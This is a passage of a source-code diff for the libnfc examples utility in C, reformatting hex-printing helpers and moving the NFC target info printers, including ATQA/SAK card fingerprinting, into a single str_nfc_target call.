-print_hex_bits (const uint8_t *pbtData, const size_t szBits)
+print_hex_bits(const uint8_t *pbtData, const size_t szBits)
 {
   uint8_t uRemainder;
   size_t  szPos;
   size_t  szBytes = szBits / 8;
 
   for (szPos = 0; szPos < szBytes; szPos++) {
-    printf ("%02x  ", pbtData[szPos]);
+    printf("%02x  ", pbtData[szPos]);
   }
 
   uRemainder = szBits % 8;
   // Print the rest bits
   if (uRemainder != 0) {
     if (uRemainder < 5)
-      printf ("%01x (%d bits)", pbtData[szBytes], uRemainder);
+      printf("%01x (%d bits)", pbtData[szBytes], uRemainder);
     else
-      printf ("%02x (%d bits)", pbtData[szBytes], uRemainder);
+      printf("%02x (%d bits)", pbtData[szBytes], uRemainder);
   }
-  printf ("\n");
+  printf("\n");
 }
 
 void
-print_hex_par (const uint8_t *pbtData, const size_t szBits, const uint8_t *pbtDataPar)
+print_hex_par(const uint8_t *pbtData, const size_t szBits, const uint8_t *pbtDataPar)
 {
   uint8_t uRemainder;
   size_t  szPos;
   size_t  szBytes = szBits / 8;
 
   for (szPos = 0; szPos < szBytes; szPos++) {
-    printf ("%02x", pbtData[szPos]);
-    if (OddParity[pbtData[szPos]] != pbtDataPar[szPos]) {
-      printf ("! ");
+    printf("%02x", pbtData[szPos]);
+    if (oddparity(pbtData[szPos]) != pbtDataPar[szPos]) {
+      printf("! ");
     } else {
-      printf ("  ");
+      printf("  ");
     }
   }
 
@@ -121,614 +107,18 @@ print_hex_par (const uint8_t *pbtData, const size_t szBits, const uint8_t *pbtDa
   // Print the rest bits, these cannot have parity bit
   if (uRemainder != 0) {
     if (uRemainder < 5)
-      printf ("%01x (%d bits)", pbtData[szBytes], uRemainder);
+      printf("%01x (%d bits)", pbtData[szBytes], uRemainder);
     else
-      printf ("%02x (%d bits)", pbtData[szBytes], uRemainder);
-  }
-  printf ("\n");
-}
-
-#define SAK_UID_NOT_COMPLETE     0x04
-#define SAK_ISO14443_4_COMPLIANT 0x20
-#define SAK_ISO18092_COMPLIANT   0x40
-
-void
-print_nfc_iso14443a_info (const nfc_iso14443a_info nai, bool verbose)
-{
-  printf ("    ATQA (SENS_RES): ");
-  print_hex (nai.abtAtqa, 2);
-  if (verbose) {
-    printf("* UID size: ");
-    switch ((nai.abtAtqa[1] & 0xc0)>>6) {
-      case 0:
-        printf("single\n");
-      break;
-      case 1:
-        printf("double\n");
-      break;
-      case 2:
-        printf("triple\n");
-      break;
-      case 3:
-        printf("RFU\n");
-      break;
-    }
-    printf("* bit frame anticollision ");
-    switch (nai.abtAtqa[1] & 0x1f) {
-      case 0x01:
-      case 0x02:
-      case 0x04:
-      case 0x08:
-      case 0x10:
-        printf("supported\n");
-      break;
-      default:
-        printf("not supported\n");
-      break;
-    }
-  }
-  printf ("       UID (NFCID%c): ", (nai.abtUid[0] == 0x08 ? '3' : '1'));
-  print_hex (nai.abtUid, nai.szUidLen);
-  if (verbose) {
-    if (nai.abtUid[0] == 0x08) {
-      printf ("* Random UID\n");
-    }
-  }
-  printf ("      SAK (SEL_RES): ");
-  print_hex (&nai.btSak, 1);
-  if (verbose) {
-    if (nai.btSak & SAK_UID_NOT_COMPLETE) {
-      printf ("* Warning! Cascade bit set: UID not complete\n");
-    }
-    if (nai.btSak & SAK_ISO14443_4_COMPLIANT) {
-      printf ("* Compliant with ISO/IEC 14443-4\n");
-    } else {
-      printf ("* Not compliant with ISO/IEC 14443-4\n");
-    }
-    if (nai.btSak & SAK_ISO18092_COMPLIANT) {
-      printf ("* Compliant with ISO/IEC 18092\n");
-    } else {
-      printf ("* Not compliant with ISO/IEC 18092\n");
-    }
-  }
-  if (nai.szAtsLen) {
-    printf ("                ATS: ");
-    print_hex (nai.abtAts, nai.szAtsLen);
-  }
-  if (nai.szAtsLen && verbose) {
-    // Decode ATS according to ISO/IEC 14443-4 (5.2 Answer to select)
-    const int iMaxFrameSizes[] = { 16, 24, 32, 40, 48, 64, 96, 128, 256 };
-    printf ("* Max Frame Size accepted by PICC: %d bytes\n", iMaxFrameSizes[nai.abtAts[0] & 0x0F]);
-
-    size_t offset = 1;
-    if (nai.abtAts[0] & 0x10) { // TA(1) present
-      uint8_t TA = nai.abtAts[offset];
-      offset++;
-      printf ("* Bit Rate Capability:\n");
-      if (TA == 0) {
-        printf ("  * PICC supports only 106 kbits/s in both directions\n");
-      }
-      if (TA & 1<<7) {
-        printf ("  * Same bitrate in both directions mandatory\n");
-      }
-      if (TA & 1<<4) {
-        printf ("  * PICC to PCD, DS=2, bitrate 212 kbits/s supported\n");
-      }
-      if (TA & 1<<5) {
-        printf ("  * PICC to PCD, DS=4, bitrate 424 kbits/s supported\n");
-      }
-      if (TA & 1<<6) {
-        printf ("  * PICC to PCD, DS=8, bitrate 847 kbits/s supported\n");
-      }
-      if (TA & 1<<0) {
-        printf ("  * PCD to PICC, DR=2, bitrate 212 kbits/s supported\n");
-      }
-      if (TA & 1<<1) {
-        printf ("  * PCD to PICC, DR=4, bitrate 424 kbits/s supported\n");
-      }
-      if (TA & 1<<2) {
-        printf ("  * PCD to PICC, DR=8, bitrate 847 kbits/s supported\n");
-      }
-      if (TA & 1<<3) {
-        printf ("  * ERROR unknown value\n");
-      }
-    }
-    if (nai.abtAts[0] & 0x20) { // TB(1) present
-      uint8_t TB= nai.abtAts[offset];
-      offset++;
-      printf ("* Frame Waiting Time: %.4g ms\n",256.0*16.0*(1<<((TB & 0xf0) >> 4))/13560.0);
-      if ((TB & 0x0f) == 0) {
-        printf ("* No Start-up Frame Guard Time required\n");
-      } else {
-        printf ("* Start-up Frame Guard Time: %.4g ms\n",256.0*16.0*(1<<(TB & 0x0f))/13560.0);
-      }
-    }
-    if (nai.abtAts[0] & 0x40) { // TC(1) present
-      uint8_t TC = nai.abtAts[offset];
-      offset++;
-      if (TC & 0x1) {
-        printf("* Node ADdress supported\n");
-      } else {
-        printf("* Node ADdress not supported\n");
-      }
-      if (TC & 0x2) {
-        printf("* Card IDentifier supported\n");
-      } else {
-        printf("* Card IDentifier not supported\n");
-      }
-    }
-    if (nai.szAtsLen > offset) {
-      printf ("* Historical bytes Tk: " );
-      print_hex (nai.abtAts + offset, (nai.szAtsLen - offset));
-      uint8_t CIB = nai.abtAts[offset];
-      offset++;
-      if (CIB != 0x00 && CIB != 0x10 && (CIB & 0xf0) != 0x80) {
-        printf("  * Proprietary format\n");
-        if (CIB == 0xc1) {
-          printf("    * Tag byte: Mifare or virtual cards of various types\n");
-          uint8_t L = nai.abtAts[offset];
-          offset++;
-          if (L != (nai.szAtsLen - offset)) {
-            printf("    * Warning: Type Identification Coding length (%i)", L);
-            printf(" not matching Tk length (%zi)\n", (nai.szAtsLen - offset));
-          }
-          if ((nai.szAtsLen - offset - 2) > 0) { // Omit 2 CRC bytes
-            uint8_t CTC = nai.abtAts[offset];
-            offset++;
-            printf("    * Chip Type: ");
-            switch (CTC & 0xf0) {
-              case 0x00:
-                printf("(Multiple) Virtual Cards\n");
-              break;
-              case 0x10:
-                printf("Mifare DESFire\n");
-              break;
-              case 0x20:
-                printf("Mifare Plus\n");
-              break;
-              default:
-                printf("RFU\n");
-              break;
-            }
-            printf("    * Memory size: ");
-            switch (CTC & 0x0f) {
-              case 0x00:
-                printf("<1 kbyte\n");
-              break;
-              case 0x01:
-                printf("1 kbyte\n");
-              break;
-              case 0x02:
-                printf("2 kbyte\n");
-              break;
-              case 0x03:
-                printf("4 kbyte\n");
-              break;
-              case 0x04:
-                printf("8 kbyte\n");
-              break;
-              case 0x0f:
-                printf("Unspecified\n");
-              break;
-              default:
-                printf("RFU\n");
-              break;
-            }
-          }
-          if ((nai.szAtsLen - offset) > 0) { // Omit 2 CRC bytes
-            uint8_t CVC = nai.abtAts[offset];
-            offset++;
-            printf("    * Chip Status: ");
-            switch (CVC & 0xf0) {
-              case 0x00:
-                printf("Engineering sample\n");
-              break;
-              case 0x20:
-                printf("Released\n");
-              break;
-              default:
-                printf("RFU\n");
-              break;
-            }
-            printf("    * Chip Generation: ");
-            switch (CVC & 0x0f) {
-              case 0x00:
-                printf("Generation 1\n");
-              break;
-              case 0x01:
-                printf("Generation 2\n");
-              break;
-              case 0x02:
-                printf("Generation 3\n");
-              break;
-              case 0x0f:
-                printf("Unspecified\n");
-              break;
-              default:
-                printf("RFU\n");
-              break;
-            }
-          }
-          if ((nai.szAtsLen - offset) > 0) { // Omit 2 CRC bytes
-            uint8_t VCS = nai.abtAts[offset];
-            offset++;
-            printf("    * Specifics (Virtual Card Selection):\n");
-            if ((VCS & 0x09) == 0x00) {
-              printf("      * Only VCSL supported\n");
-            } else if ((VCS & 0x09) == 0x01) {
-              printf("      * VCS, VCSL and SVC supported\n");
-            }
-            if ((VCS & 0x0e) == 0x00) {
-              printf("      * SL1, SL2(?), SL3 supported\n");
-            } else if ((VCS & 0x0e) == 0x02) {
-              printf("      * SL3 only card\n");
-            } else if ((VCS & 0x0f) == 0x0e) {
-              printf("      * No VCS command supported\n");
-            } else if ((VCS & 0x0f) == 0x0f) {
-              printf("      * Unspecified\n");
-            } else {
-              printf("      * RFU\n");
-            }
-          }
-        }
-      } else {
-        if (CIB == 0x00) {
-          printf("  * Tk after 0x00 consist of optional consecutive COMPACT-TLV data objects\n");
-          printf("    followed by a mandatory status indicator (the last three bytes, not in TLV)\n");
-          printf("    See ISO/IEC 7816-4 8.1.1.3 for more info\n");
-        }
-        if (CIB == 0x10) {
-          printf("  * DIR data reference: %02x\n", nai.abtAts[offset]);
-        }
-        if (CIB == 0x80) {
-          if (nai.szAtsLen == offset) {
-            printf("  * No COMPACT-TLV objects found, no status found\n");
-          } else {
-            printf("  * Tk after 0x80 consist of optional consecutive COMPACT-TLV data objects;\n");
-            printf("    the last data object may carry a status indicator of one, two or three bytes.\n");
-            printf("    See ISO/IEC 7816-4 8.1.1.3 for more info\n");
-          }
-        }
-      }
-    }
-  }
-  if (verbose) {
-    printf("Fingerprinting based on ATQA & SAK values:\n");
-    uint32_t atqasak = 0;
-    atqasak += (((uint32_t)nai.abtAtqa[0] & 0xff)<<16);
-    atqasak += (((uint32_t)nai.abtAtqa[1] & 0xff)<<8);
-    atqasak += ((uint32_t)nai.btSak & 0xff);
-    bool found_possible_match = false;
-    switch (atqasak) {
-      case 0x000218:
-        printf("* Mifare Classic 4K\n");
-        found_possible_match = true;
-      break;
-      case 0x000408:
-        printf("* Mifare Classic 1K\n");
-        printf("* Mifare Plus (4-byte UID) 2K SL1\n");
-        found_possible_match = true;
-      break;
-      case 0x000409:
-        printf("* Mifare MINI\n");
-        found_possible_match = true;
-      break;
-      case 0x000410:
-        printf("* Mifare Plus (4-byte UID) 2K SL2\n");
-        found_possible_match = true;
-      break;
-      case 0x000411:
-        printf("* Mifare Plus (4-byte UID) 4K SL2\n");
-        found_possible_match = true;
-      break;
-      case 0x000418:
-        printf("* Mifare Plus (4-byte UID) 4K SL1\n");
-        found_possible_match = true;
-      break;
-      case 0x000420:
-        printf("* Mifare Plus (4-byte UID) 2K/4K SL3\n");
-        found_possible_match = true;
-      break;
-      case 0x004400:
-        printf("* Mifare Ultralight\n");
-        printf("* Mifare UltralightC\n");
-        found_possible_match = true;
-      break;
-      case 0x004208:
-      case 0x004408:
-        printf("* Mifare Plus (7-byte UID) 2K SL1\n");
-        found_possible_match = true;
-      break;
-      case 0x004218:
-      case 0x004418:
-        printf("* Mifare Plus (7-byte UID) 4K SL1\n");
-        found_possible_match = true;
-      break;
-      case 0x004210:
-      case 0x004410:
-        printf("* Mifare Plus (7-byte UID) 2K SL2\n");
-        found_possible_match = true;
-      break;
-      case 0x004211:
-      case 0x004411:
-        printf("* Mifare Plus (7-byte UID) 4K SL2\n");
-        found_possible_match = true;
-      break;
-      case 0x004220:
-      case 0x004420:
-        printf("* Mifare Plus (7-byte UID) 2K/4K SL3\n");
-        found_possible_match = true;
-      break;
-      case 0x034420:
-        printf("* Mifare DESFire / Desfire EV1\n");
-        found_possible_match = true;
-      break;
-    }
-
-    // Other matches not described in
-    // AN MIFARE Type Identification Procedure
-    // but seen in the field:
-    switch (atqasak) {
-      case 0x000488:
-        printf("* Mifare Classic 1K Infineon\n");
-        found_possible_match = true;
-      break;
-      case 0x000298:
-        printf("* Gemplus MPCOS\n");
-        found_possible_match = true;
-      break;
-      case 0x030428:
-        printf("* JCOP31\n");
-        found_possible_match = true;
-      break;
-      case 0x004820:
-        printf("* JCOP31 v2.4.1\n");
-        printf("* JCOP31 v2.2\n");
-        found_possible_match = true;
-      break;
-      case 0x000428:
-        printf("* JCOP31 v2.3.1\n");
-        found_possible_match = true;
-      break;
-      case 0x000453:
-        printf("* Fudan FM1208SH01\n");
-        found_possible_match = true;
-      break;
-      case 0x000820:
-        printf("* Fudan FM1208\n");
-        found_possible_match = true;
-      break;
-      case 0x000238:
-        printf("* MFC 4K emulated by Nokia 6212 Classic\n");
-        found_possible_match = true;
-      break;
-      case 0x000838:
-        printf("* MFC 4K emulated by Nokia 6131 NFC\n");
-        found_possible_match = true;
-      break;
-    }
-    if ((nai.abtAtqa[0] & 0xf0) == 0) {
-      switch (nai.abtAtqa[1]) {
-        case 0x02:
-          printf("* SmartMX with Mifare 4K emulation\n");
-          found_possible_match = true;
-        break;
-        case 0x04:
-          printf("* SmartMX with Mifare 1K emulation\n");
-          found_possible_match = true;
-        break;
-        case 0x48:
-          printf("* SmartMX with 7-byte UID\n");
-          found_possible_match = true;
-        break;
-      }
-    }
-    if (! found_possible_match) {
-      printf("* Unknown card, sorry\n");
-    }
-  }
-}
-
-void
-print_nfc_felica_info (const nfc_felica_info nfi, bool verbose)
-{
-  (void) verbose;
-  printf ("        ID (NFCID2): ");
-  print_hex (nfi.abtId, 8);
-  printf ("    Parameter (PAD): ");
-  print_hex (nfi.abtPad, 8);
-  printf ("   System Code (SC): ");
-  print_hex (nfi.abtSysCode, 2);
-}
-
-void
-print_nfc_jewel_info (const nfc_jewel_info nji, bool verbose)
-{
-  (void) verbose;
-  printf ("    ATQA (SENS_RES): ");
-  print_hex (nji.btSensRes, 2);
-  printf ("      4-LSB JEWELID: ");
-  print_hex (nji.btId, 4);
-}
-
-#define PI_ISO14443_4_SUPPORTED 0x01
-#define PI_NAD_SUPPORTED        0x01
-#define PI_CID_SUPPORTED        0x02
-void
-print_nfc_iso14443b_info (const nfc_iso14443b_info nbi, bool verbose)
-{
-  const int iMaxFrameSizes[] = { 16, 24, 32, 40, 48, 64, 96, 128, 256 };
-  printf ("               PUPI: ");
-  print_hex (nbi.abtPupi, 4);
-  printf ("   Application Data: ");
-  print_hex (nbi.abtApplicationData, 4);
-  printf ("      Protocol Info: ");
-  print_hex (nbi.abtProtocolInfo, 3);
-  if (verbose) {
-    printf ("* Bit Rate Capability:\n");
-    if (nbi.abtProtocolInfo[0] == 0) {
-      printf (" * PICC supports only 106 kbits/s in both directions\n");
-    }
-    if (nbi.abtProtocolInfo[0] & 1<<7) {
-      printf (" * Same bitrate in both directions mandatory\n");
-    }
-    if (nbi.abtProtocolInfo[0] & 1<<4) {
-      printf (" * PICC to PCD, 1etu=64/fc, bitrate 212 kbits/s supported\n");
-    }
-    if (nbi.abtProtocolInfo[0] & 1<<5) {
-      printf (" * PICC to PCD, 1etu=32/fc, bitrate 424 kbits/s supported\n");
-    }
-    if (nbi.abtProtocolInfo[0] & 1<<6) {
-      printf (" * PICC to PCD, 1etu=16/fc, bitrate 847 kbits/s supported\n");
-    }
-    if (nbi.abtProtocolInfo[0] & 1<<0) {
-      printf (" * PCD to PICC, 1etu=64/fc, bitrate 212 kbits/s supported\n");
-    }
-    if (nbi.abtProtocolInfo[0] & 1<<1) {
-      printf (" * PCD to PICC, 1etu=32/fc, bitrate 424 kbits/s supported\n");
-    }
-    if (nbi.abtProtocolInfo[0] & 1<<2) {
-      printf (" * PCD to PICC, 1etu=16/fc, bitrate 847 kbits/s supported\n");
-    }
-    if (nbi.abtProtocolInfo[0] & 1<<3) {
-      printf (" * ERROR unknown value\n");
-    }
-    if( (nbi.abtProtocolInfo[1] & 0xf0) <= 0x80 ) {
-      printf ("* Maximum frame sizes: %d bytes\n", iMaxFrameSizes[((nbi.abtProtocolInfo[1] & 0xf0) >> 4)]);
-    }
-    if((nbi.abtProtocolInfo[1] & 0x0f) == PI_ISO14443_4_SUPPORTED) {
-      printf ("* Protocol types supported: ISO/IEC 14443-4\n");
-    }
-    printf ("* Frame Waiting Time: %.4g ms\n",256.0*16.0*(1<<((nbi.abtProtocolInfo[2] & 0xf0) >> 4))/13560.0);
-    if((nbi.abtProtocolInfo[2] & (PI_NAD_SUPPORTED|PI_CID_SUPPORTED)) != 0) {
-      printf ("* Frame options supported: ");
-      if ((nbi.abtProtocolInfo[2] & PI_NAD_SUPPORTED) != 0) printf ("NAD ");
-      if ((nbi.abtProtocolInfo[2] & PI_CID_SUPPORTED) != 0) printf ("CID ");
-      printf("\n");
-    }
+      printf("%02x (%d bits)", pbtData[szBytes], uRemainder);
   }
+  printf("\n");
 }
 
 void
-print_nfc_iso14443bi_info (const nfc_iso14443bi_info nii, bool verbose)
+print_nfc_target(const nfc_target nt, bool verbose)
 {
-  printf ("                DIV: ");
-  print_hex (nii.abtDIV, 4);
-  if (verbose) {
-    int version = (nii.btVerLog & 0x1e)>>1;
-    printf ("   Software Version: ");
-    if (version == 15) {
-      printf ("Undefined\n");
-    } else {
-      printf ("%i\n", version);
-    }
-
-    if ((nii.btVerLog & 0x80) && (nii.btConfig & 0x80)){
-      printf ("        Wait Enable: yes");
-    }
-  }
-  if ((nii.btVerLog & 0x80) && (nii.btConfig & 0x40)) {
-    printf ("                ATS: ");
-    print_hex (nii.abtAtr, nii.szAtrLen);
-  }
+  char *s;
+  str_nfc_target(&s, nt, verbose);
+  printf("%s", s);
+  free(s);
 }
-
-void
-print_nfc_iso14443b2sr_info (const nfc_iso14443b2sr_info nsi, bool verbose)
-{
-  (void) verbose;
-  printf ("                UID: ");
-  print_hex (nsi.abtUID, 8);
-}
-
-void
-print_nfc_iso14443b2ct_info (const nfc_iso14443b2ct_info nci, bool verbose)
-{
-  (void) verbose;
-  uint32_t uid;
-  uid = (nci.abtUID[3] << 24) + (nci.abtUID[2] << 16) + (nci.abtUID[1] << 8) + nci.abtUID[0];
-  printf ("                UID: ");
-  print_hex (nci.abtUID, sizeof(nci.abtUID));
-  printf ("      UID (decimal): %010u\n", uid);
-  printf ("       Product Code: %02X\n", nci.btProdCode);
-  printf ("           Fab Code: %02X\n", nci.btFabCode);
-}
-
-void
-print_nfc_dep_info (const nfc_dep_info ndi, bool verbose)
-{
-  (void) verbose;
-  printf ("       NFCID3: ");
-  print_hex (ndi.abtNFCID3, 10);
-  printf ("           BS: %02x\n", ndi.btBS);
-  printf ("           BR: %02x\n", ndi.btBR);
-  printf ("           TO: %02x\n", ndi.btTO);
-  printf ("           PP: %02x\n", ndi.btPP);
-  if (ndi.szGB) {
-    printf ("General Bytes: ");
-    print_hex (ndi.abtGB, ndi.szGB);
-  }
-}
-
-const char *
-str_nfc_baud_rate (const nfc_baud_rate nbr)
-{
-  switch(nbr) {
-    case NBR_UNDEFINED:
-      return "undefined baud rate";
-    break;
-    case NBR_106:
-      return "106 kbps";
-    break;
-    case NBR_212:
-      return "212 kbps";
-    break;
-    case NBR_424:
-      return "424 kbps";
-    break;
-    case NBR_847:
-      return "847 kbps";
-    break;
-  }
-  return "";
-}
-
-void
-print_nfc_target (const nfc_target nt, bool verbose)
-{
-  switch(nt.nm.nmt) {
-    case NMT_ISO14443A:
-      printf ("ISO/IEC 14443A (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
-      print_nfc_iso14443a_info (nt.nti.nai, verbose);
-    break;
-    case NMT_JEWEL:
-      printf ("Innovision Jewel (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
-      print_nfc_jewel_info (nt.nti.nji, verbose);
-    break;
-    case NMT_FELICA:
-      printf ("FeliCa (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
-      print_nfc_felica_info (nt.nti.nfi, verbose);
-    break;
-    case NMT_ISO14443B:
-      printf ("ISO/IEC 14443-4B (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
-      print_nfc_iso14443b_info (nt.nti.nbi, verbose);
-    break;
-    case NMT_ISO14443BI:
-      printf ("ISO/IEC 14443-4B' (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
-      print_nfc_iso14443bi_info (nt.nti.nii, verbose);
-    break;
-    case NMT_ISO14443B2SR:
-      printf ("ISO/IEC 14443-2B ST SRx (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
-      print_nfc_iso14443b2sr_info (nt.nti.nsi, verbose);
-    break;
-    case NMT_ISO14443B2CT:
-      printf ("ISO/IEC 14443-2B ASK CTx (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
-      print_nfc_iso14443b2ct_info (nt.nti.nci, verbose);
-    break;
-    case NMT_DEP:
-      printf ("D.E.P. (%s, %s) target:\n", str_nfc_baud_rate(nt.nm.nbr), (nt.nti.ndi.ndm == NDM_ACTIVE)? "active mode" : "passive mode");
-      print_nfc_dep_info (nt.nti.ndi, verbose);
-    break;
-  }
-}
-
index acf867d..c92fbc2 100644 (file)
@@ -1,8 +1,9 @@
 /*-
  * Public platform independent Near Field Communication (NFC) library examples
  *
- * Copyright (C) 2009, Roel Verdult
- * Copyright (C) 2010, Romuald Conty, Romain Tartière
+ * Copyright (C) 2009 Roel Verdult
+ * Copyright (C) 2010 Romain Tartière
+ * Copyright (C) 2010, 2011, 2012 Romuald Conty
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions are met:
 #  define ERR(...)  warnx ("ERROR: " __VA_ARGS__ )
 #endif
 
-uint8_t  oddparity (const uint8_t bt);
-void    oddparity_uint8_ts (const uint8_t *pbtData, const size_t szLen, uint8_t *pbtPar);
+#ifndef MIN
+#define MIN(a,b) (((a) < (b)) ? (a) : (b))
+#endif
+#ifndef MAX
+#define MAX(a,b) (((a) > (b)) ? (a) : (b))
+#endif
 
-void    print_hex (const uint8_t *pbtData, const size_t szLen);
-void    print_hex_bits (const uint8_t *pbtData, const size_t szBits);
-void    print_hex_par (const uint8_t *pbtData, const size_t szBits, const uint8_t *pbtDataPar);
+uint8_t  oddparity(const uint8_t bt);
+void    oddparity_bytes_ts(const uint8_t *pbtData, const size_t szLen, uint8_t *pbtPar);
 
-void    print_nfc_iso14443a_info (const nfc_iso14443a_info nai, bool verbose);
-void    print_nfc_iso14443b_info (const nfc_iso14443b_info nbi, bool verbose);
-void    print_nfc_iso14443bi_info (const nfc_iso14443bi_info nii, bool verbose);
-void    print_nfc_iso14443b2sr_info (const nfc_iso14443b2sr_info nsi, bool verbose);
-void    print_nfc_iso14443b2ct_info (const nfc_iso14443b2ct_info nci, bool verbose);
-void    print_nfc_felica_info (const nfc_felica_info nfi, bool verbose);
-void    print_nfc_jewel_info (const nfc_jewel_info nji, bool verbose);
-void    print_nfc_dep_info (const nfc_dep_info ndi, bool verbose);
-const char * str_nfc_baud_rate (const nfc_baud_rate nbr);
+void    print_hex(const uint8_t *pbtData, const size_t szLen);
+void    print_hex_bits(const uint8_t *pbtData, const size_t szBits);
+void    print_hex_par(const uint8_t *pbtData, const size_t szBits, const uint8_t *pbtDataPar);
 
-void    print_nfc_target (const nfc_target nt, bool verbose);
+void    print_nfc_target(const nfc_target nt, bool verbose);
 
 #endif